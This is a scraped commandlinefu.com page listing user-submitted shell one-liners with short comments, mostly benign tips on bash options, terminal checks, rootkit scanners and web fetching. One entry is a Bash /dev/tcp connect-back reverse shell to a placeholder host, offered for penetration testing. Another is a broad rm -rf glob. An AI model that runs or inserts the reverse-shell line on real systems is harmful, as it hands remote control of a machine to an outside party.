Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands tagged shell from sorted by
Terminal - Commands tagged shell - 71 results
pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar -template_name="mydomain"
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
2010-04-02 09:43:32
User: mtron
Functions: grep read sed wc wget
1

extension to tali713's random fact generator. It takes the output & sends it to notify-osd. Display time is proportional to the lengh of the fact.

wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
2010-03-30 23:49:30
User: tali713
Functions: grep sed wget
13

Though without infinite time and knowledge of how the site will be designed in the future this may stop working, it still will serve as a simple straight forward starting point.

This uses the observation that the only item marked as strong on the page is the single logical line that includes the italicized fact.

If future revisions of the page show failure, or intermittent failure, one may simply alter the above to read.

wget randomfunfacts.com -O - 2>/dev/null | tee lastfact | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"

The file lastfact, can then be examined whenever the command fails.

exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
2010-03-18 17:25:08
User: truemilk
Functions: exec
2

Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory.

--

/dev/tcp and /dev/udb redirects must be enabled at compile time in Bash.

Most Linux distros enable this feature by default but at least Debian is known to disable it.

--

http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/

x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
2009-12-13 02:23:40
User: sputnick
Functions: perl
1

Thanks to comment if that works or not...

If you have already typed that snippet or you know you already have IO::Interface::Simple perl module, you can type only the last command :

perl -e 'use IO::Interface::Simple; my $ip=IO::Interface::Simple->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>

( The first perl command will install the module if it's not there already... )

[ -t 0 ] || exit 1
2009-11-20 23:14:49
User: cfajohnson
Functions: exit
Tags: shell script
21

Exit with error if script is not run in a terminal

tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;}
2009-11-04 16:18:00
User: johnraff
Functions: aplay exit tty
Tags: shell script
0

If your script needs to be run in a terminal, this line at the top will stop it running if you absent-mindedly double-click the icon, perhaps intending to edit it. (Of course this won't help with scripts that run in the background.)

shopt -s cdable_vars
2009-10-26 22:10:56
User: haivu
Tags: bash shell
4

Usage:

mydir=/very/long/path/to/a/dir cd mydir

I often need to cd where no man wants to go (i.e. long path). by enabling the shell option cdable_vars, I can tell cd to assume the destination is the name of a variable.

gitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" && git init; fi }
not () { "$@" && return 1 || return 0; }
2009-09-23 01:09:53
User: arcege
Functions: return
Tags: shell
-4

Useful in while and if statements

if not grep string filename; then echo string not found; exit 1; fi
rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
2009-09-15 14:22:56
User: arcege
Functions: rm
Tags: shell rm
1

Remove everything in current directory except files starting with "ca".

: ${VAR:?unset variable}
2009-09-14 19:41:01
User: arcege
Tags: shell
-1

Works in all shells. Does not require a test. Handles like an assertion.

type <filename>
2009-09-14 09:37:23
User: danam
Functions: type
4

Also searches for aliases and shell builtins

which <filename>
for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then echo ${F}; break; fi; done
2009-09-11 16:14:36
User: arcege
Functions: echo tr
-1

Searches in order of the directories of $PATH. Stops after finding the entry; looks for only that fileName. Works in Bourne, Korn, Bash and Z shells.

svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
2009-09-04 17:23:45
User: arcege
Functions: sed sh
Tags: svn sed shell
2

Manages everything through one sed script instead of pipes of greps and awks. Quoting of shell variables is generally easier within a sed script.

rkhunter --check
2009-08-30 12:53:33
User: unixbhaskar
Tags: Security shell
-2

rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible local exploits. rkhunter is a shell script which carries out various checks on the local system to try and detect known rootkits and malware. It also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

chkrootkit -x | less
httpd2 -V
ip addr show
2009-08-29 12:52:02
User: unixbhaskar
Tags: Network shell
1

Like many other thing in Linux ,you can see the same thing in different way.

httpd2 -M
last
2009-08-29 12:08:30
User: unixbhaskar
Functions: last
Tags: login shell
-3

This command will reveal login has been made to the system as well as when the reboot occurs. It uses a file called /var/log/wtmp,which captures all the information about the successful login and reboot information. It has many switch ,by which you can get an idea when people login how long they stay.

nikto.pl -h yourwebserver
2009-08-29 04:54:43
User: unixbhaskar
Tags: Security shell
0

This is wonderful perl script to check the web server security and vulnerability .Get it from here :http://www.cirt.net/nikto2

Here are some key features of "Nikto":

? Uses rfp's LibWhisker as a base for all network funtionality

? Main scan database in CSV format for easy updates

? Determines "OK" vs "NOT FOUND" responses for each server, if possible

? Determines CGI directories for each server, if possible

? Switch HTTP versions as needed so that the server understands requests properly

? SSL Support (Unix with OpenSSL or maybe Windows with ActiveState's Perl/NetSSL)

? Output to file in plain text, HTML or CSV

? Generic and "server type" specific checks

? Plugin support (standard PERL)

? Checks for outdated server software

? Proxy support (with authentication)

? Host authentication (Basic)

? Watches for "bogus" OK responses

? Attempts to perform educated guesses for Authentication realms

? Captures/prints any Cookies received

? Mutate mode to "go fishing" on web servers for odd items

? Builds Mutate checks based on robots.txt entries (if present)

? Scan multiple ports on a target to find web servers (can integrate nmap for speed, if available)

? Multiple IDS evasion techniques

? Users can add a custom scan database

? Supports automatic code/check updates (with web access)

? Multiple host/port scanning (scan list files)

? Username guessing plugin via the cgiwrap program and Apache ~user methods

firefox --safe-mode
2009-08-29 04:36:19
User: unixbhaskar
0

Sometime you need to run firefox from the command just to rectify something about it.Means,if some of the addon broke you firefox setting or theme broke your ff setting then fall back to commandline i.e shell and type the mentioned command. It will open up an information box with few option along with the checkbox besides them(means you can select them) to start the web browser in safe mode.Besically deactivating all the addon and theme,except the default one.Once you are done/rectified thing ..close that session and reopen the browser normally.It should work.

ssh user@remotehost [anycommand](i.e uptime,w)
2009-08-29 04:27:37
User: unixbhaskar
Functions: ssh
Tags: ssh shell
-3

Once it is connected to the remote server by that ssh protocol,the mentioned command will start working on that server.